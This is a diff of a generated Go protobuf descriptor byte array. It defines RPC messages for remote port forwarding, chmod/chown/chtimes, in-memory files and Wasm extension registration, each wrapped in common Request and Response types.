0x74, 0x6f, 0x63, + 0x6f, 0x6c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, + 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, + 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, + 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x22, 0x85, 0x01, 0x0a, 0x08, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, + 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x4d, 0x6f, 0x64, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x4d, 0x6f, 0x64, 0x65, + 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x65, 0x63, 0x75, 0x72, 0x73, 0x69, 0x76, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x09, 0x52, 0x65, 0x63, 0x75, 0x72, 0x73, 0x69, 0x76, 0x65, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4b, 0x0a, 0x05, 0x43, + 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x8d, 0x01, 0x0a, 0x08, 0x43, 0x68, 0x6f, + 0x77, 0x6e, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x69, 0x64, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x69, 0x64, 0x12, 0x10, 0x0a, 0x03, 0x47, + 0x69, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x47, 0x69, 0x64, 0x12, 0x1c, 0x0a, + 0x09, 0x52, 0x65, 0x63, 0x75, 0x72, 0x73, 0x69, 0x76, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x09, 0x52, 0x65, 0x63, 0x75, 0x72, 0x73, 0x69, 0x76, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, - 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x9e, 0x01, 0x0a, 0x08, 0x52, 0x50, 0x6f, - 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, - 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x50, 0x72, 0x6f, - 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, - 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, - 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, - 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x9e, 0x01, 0x0a, 0x0b, 0x52, 0x50, - 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, - 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1a, 0x0a, - 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, - 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1e, 0x0a, - 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, - 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, - 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x85, 0x01, 0x0a, 0x08, 0x43, - 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, - 0x69, 0x6c, 0x65, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, - 0x69, 0x6c, 0x65, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x65, 0x63, 0x75, 0x72, - 0x73, 0x69, 0x76, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x52, 0x65, 0x63, 0x75, - 0x72, 0x73, 0x69, 0x76, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x22, 0x4b, 0x0a, 0x05, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x50, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4b, 0x0a, 0x05, 0x43, 0x68, 0x6f, 0x77, + 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x79, 0x0a, 0x0a, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, + 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x54, 0x69, 0x6d, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x41, 0x54, 0x69, 0x6d, 0x65, 0x12, 0x14, 0x0a, + 0x05, 0x4d, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x4d, 0x54, + 0x69, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x22, 0x4d, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x8d, 0x01, 0x0a, 0x08, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, - 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, - 0x12, 0x10, 0x0a, 0x03, 0x55, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, - 0x69, 0x64, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x69, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x03, 0x47, 0x69, 0x64, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x65, 0x63, 0x75, 0x72, 0x73, 0x69, 0x76, - 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x52, 0x65, 0x63, 0x75, 0x72, 0x73, 0x69, - 0x76, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, + 0x3e, 0x0a, 0x0f, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0x4b, 0x0a, 0x05, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x2e, 0x0a, 0x08, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x79, 0x0a, 0x0a, - 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, - 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x14, - 0x0a, 0x05, 0x41, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x41, - 0x54, 0x69, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x4d, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x05, 0x4d, 0x54, 0x69, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4d, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, 0x6d, - 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3e, 0x0a, 0x0f, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, - 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, + 0x3d, 0x0a, 0x0e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x52, 0x65, + 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4d, + 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x0e, 0x0a, + 0x02, 0x46, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x46, 0x64, 0x12, 0x2e, 0x0a, + 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4c, 0x0a, + 0x0d, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x12, 0x0e, + 0x0a, 0x02, 0x46, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x46, 0x64, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4c, 0x0a, 0x0a, 0x4d, + 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x0e, 0x0a, 0x02, 0x46, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x46, 0x64, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, + 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x73, 0x0a, 0x18, 0x52, 0x65, 0x67, + 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x57, 0x61, 0x73, + 0x6d, 0x47, 0x7a, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x57, 0x61, 0x73, 0x6d, 0x47, + 0x7a, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x47, + 0x0a, 0x15, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x5d, 0x0a, 0x1a, 0x44, 0x65, 0x72, 0x65, 0x67, + 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3d, 0x0a, 0x0e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, - 0x65, 0x73, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4d, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, - 0x73, 0x41, 0x64, 0x64, 0x12, 0x0e, 0x0a, 0x02, 0x46, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x02, 0x46, 0x64, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4c, 0x0a, 0x0d, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, - 0x52, 0x6d, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x46, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x02, 0x46, 0x64, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x22, 0x4c, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, - 0x12, 0x0e, 0x0a, 0x02, 0x46, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x46, 0x64, - 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x73, 0x0a, 0x18, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, - 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x12, 0x16, 0x0a, 0x06, 0x57, 0x61, 0x73, 0x6d, 0x47, 0x7a, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x06, 0x57, 0x61, 0x73, 0x6d, 0x47, 0x7a, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x47, 0x0a, 0x15, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, - 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2e, - 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x5d, - 0x0a, 0x1a, 0x44, 0x65, 0x72, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, - 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 